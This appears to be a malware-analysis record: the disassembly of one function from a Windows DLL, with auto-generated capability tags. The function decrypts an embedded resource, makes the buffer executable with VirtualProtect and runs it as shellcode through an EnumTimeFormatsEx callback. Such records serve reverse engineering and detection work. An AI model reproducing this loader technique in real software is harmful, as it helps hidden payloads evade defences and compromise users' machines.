Function at 0x180006830
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get common file path
Parse pe header

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x348]
sub rsp, 0x448
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rbp + 0x310], rax
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x100
call fcn.1800284c0
xor edx, edx
lea rcx, [rbp + 0x100]
mov r8d, 0x208
call fcn.1800284c0
xor r9d, r9d
lea rax, [rbp + 0x100]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0xe]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [fcn.180006830]
mov r8d, 0x5a4d
mov r9d, 0x20b
nop word [rax + rax]
cmp word [rdx], r8w
jne 0x1800068cb
movsxd rcx, dword [rdx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x1800068cb
test word [rcx + rdx + 0x18], r9w
jne 0x1800068d0
dec rdx
jmp 0x1800068b0
mov r9d, dword [rcx + rdx + 0x98]
xor ebx, ebx
movzx r10d, word [r9 + rdx + 0xe]
lea r11, [r9 + rdx]
movzx eax, word [r11 + 0xc]
mov ecx, ebx
add r10, rax
je 0x18000691a
mov eax, dword [r11 + rcx*8 + 0x14]
test eax, eax
jns 0x18000691a
btr eax, 0x1f
add rax, r9
mov r8d, dword [rax + rdx + 0x14]
test r8d, r8d
jns 0x180006912
cmp word [rax + rdx + 0x10], 0x67
je 0x180006921
inc rcx
cmp rcx, r10
jb 0x1800068f0
xor eax, eax
jmp 0x180006e2e
btr r8d, 0x1f
mov qword [rsp + 0x460], rsi
add r8, r9
mov qword [rsp + 0x438], r14
mov ecx, dword [r8 + rdx + 0x14]
btr ecx, 0x1f
add rcx, r9
mov r14d, dword [rcx + rdx]
mov esi, dword [rcx + rdx + 4]
add r14, rdx
je 0x180006e4b
test esi, esi
je 0x180006e4b
mov qword [rsp + 0x470], r12
call fcn.180006790
and eax, 0x80000001
jge 0x180006979
dec eax
or eax, 0xfffffffe
inc eax
mov qword [rsp + 0x468], rdi
test eax, eax
jne 0x1800069da
mov edi, ebx
call fcn.180006790
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
add r8d, 3
test r8d, r8d
jle 0x1800069da
nop
inc edi
call fcn.180006790
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
add r8d, 3
cmp edi, r8d
jl 0x1800069b0
movups xmm0, xmmword [r14]
lea rdx, [rbp + 0x100]
mov r8d, 0x80
movups xmm1, xmmword [r14 + 0x10]
lea rcx, [r8 + r14]
add esi, 0xfffffe9a
movdqa xmm2, xmmword [0x18005e860]
lea rax, [r14 + 0x166]
movups xmmword [rdx], xmm0
mov qword [rsp + 0x30], rax
mov eax, dword [rcx + 0x40]
movups xmm0, xmmword [r14 + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [r14 + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [r14 + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [r14 + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [r14 + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx + 0x60], xmm0
add rdx, r8
movups xmm0, xmmword [r14 + 0x70]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm1
movups xmmword [rdx + 0x30], xmm0
mov dword [rdx + 0x40], eax
movzx eax, byte [rcx + 0x44]
lea rcx, [rbp + 0x50]
mov byte [rdx + 0x44], al
lea rax, [r14 + 0xc5]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm0, xmmword [rax + r8]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + r8 + 0x10]
movzx eax, byte [rax + r8 + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov byte [rcx + 0x20], al
mov rax, rbx
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rbp + rax + 0x50]
psubb xmm0, xmm2
movdqu xmmword [rbp + rax + 0x50], xmm0
movdqu xmm1, xmmword [rbp + rax + 0x60]
psubb xmm1, xmm2
movdqu xmmword [rbp + rax + 0x60], xmm1
movdqu xmm0, xmmword [rbp + rax + 0x70]
psubb xmm0, xmm2
movdqu xmmword [rbp + rax + 0x70], xmm0
movdqu xmm0, xmmword [rbp + rax + 0x80]
psubb xmm0, xmm2
movdqu xmmword [rbp + rax + 0x80], xmm0
add rax, 0x40
cmp rax, r8
jl 0x180006af0
mov rax, r8
nop dword [rax]
nop word [rax + rax]
add byte [rbp + rax + 0x50], 0xfd
inc rax
cmp rax, 0xa1
jl 0x180006b50
mov rcx, rbx
mov eax, 0xc0
nop dword [rax + rax]
movdqu xmm0, xmmword [rbp + rcx + 0x100]
psubb xmm0, xmm2
movdqu xmmword [rbp + rcx + 0x100], xmm0
movdqu xmm1, xmmword [rbp + rcx + 0x110]
psubb xmm1, xmm2
movdqu xmmword [rbp + rcx + 0x110], xmm1
movdqu xmm0, xmmword [rbp + rcx + 0x120]
psubb xmm0, xmm2
movdqu xmmword [rbp + rcx + 0x120], xmm0
movdqu xmm0, xmmword [rbp + rcx + 0x130]
psubb xmm0, xmm2
movdqu xmmword [rbp + rcx + 0x130], xmm0
add rcx, 0x40
cmp rcx, rax
jl 0x180006b70
add byte [rbp + rax + 0x100], 0xfd
inc rax
cmp rax, 0xc5
jl 0x180006bd1
mov rcx, qword [rbp + 0x100]
movsx eax, cl
movd xmm2, eax
mov rax, rbx
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
movdqu xmm0, xmmword [rbp + rax + 0x50]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rbp + rax + 0x50], xmm0
movdqu xmm0, xmmword [rbp + rax + 0x60]
pxor xmm1, xmm0
movdqu xmmword [rbp + rax + 0x60], xmm1
movdqu xmm0, xmmword [rbp + rax + 0x70]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rbp + rax + 0x70], xmm1
movdqu xmm0, xmmword [rbp + rax + 0x80]
pxor xmm0, xmm2
movdqu xmmword [rbp + rax + 0x80], xmm0
add rax, 0x40
cmp rax, r8
jl 0x180006c02
nop dword [rax]
xor byte [rbp + r8 + 0x50], cl
inc r8
cmp r8, 0xa1
jl 0x180006c60
movzx ecx, byte [rbp + rbx + 0x50]
mov eax, 1
nop dword [rax + rax]
xor byte [rbp + rax + 0x100], cl
xor byte [rbp + rax + 0x101], cl
xor byte [rbp + rax + 0x102], cl
xor byte [rbp + rax + 0x103], cl
add rax, 4
cmp rax, 0xc5
jl 0x180006c80
inc rbx
cmp rbx, 0xa1
jl 0x180006c71
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x50]
call fcn.180001dd0
movups xmm0, xmmword [rbp + 0x50]
mov r12d, esi
movups xmmword [rbp + 0x40], xmm0
mov qword [rsp + 0x38], r12
test sil, 0xf
jne 0x180006e47
mov r14d, r12d
mov qword [rsp + 0x430], r15
shr r14, 4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, r12d
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x180006e04
mov rbx, rax
test r14, r14
je 0x180006dd6
mov r12, qword [rsp + 0x30]
lea rdi, [rbp + 0x40]
mov qword [rsp + 0x440], r13
sub rdi, rax
mov r13, rax
movaps xmmword [rsp + 0x420], xmm6
sub r13, r12
add r13, 0xf
sub r12, rax
nop word [rax + rax]
movups xmm6, xmmword [r12 + rbx]
lea rsi, [r12 + rbx]
mov r8, rbx
mov r9, rsi
lea rcx, [rsp + 0x50]
call fcn.180002160
lea rax, [rbp + 0x4f]
cmp rbx, rax
ja 0x180006da2
lea rax, [rsi + r13]
lea rcx, [rbp + 0x40]
cmp rax, rcx
jb 0x180006da2
mov rax, rbx
mov edx, 0x10
nop word [rax + rax]
movzx ecx, byte [rdi + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x180006d90
jmp 0x180006daf
movdqu xmm0, xmmword [rbx]
pxor xmm0, xmmword [rbp + 0x40]
movdqu xmmword [rbx], xmm0
add rbx, 0x10
movups xmmword [rbp + 0x40], xmm6
sub rdi, 0x10
sub r14, 1
jne 0x180006d50
mov r12, qword [rsp + 0x38]
movaps xmm6, xmmword [rsp + 0x420]
mov r13, qword [rsp + 0x440]
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
lea rdx, str._x_sys_default_locale
mov rcx, r15
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_EnumTimeFormatsEx]
mov r15, qword [rsp + 0x430]
xor eax, eax
mov rdi, qword [rsp + 0x468]
mov r12, qword [rsp + 0x470]
mov rsi, qword [rsp + 0x460]
mov r14, qword [rsp + 0x438]
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.180023ad0
add rsp, 0x448
pop rbx
pop rbp
ret
xor eax, eax
jmp 0x180006e0e
xor eax, eax
jmp 0x180006e1e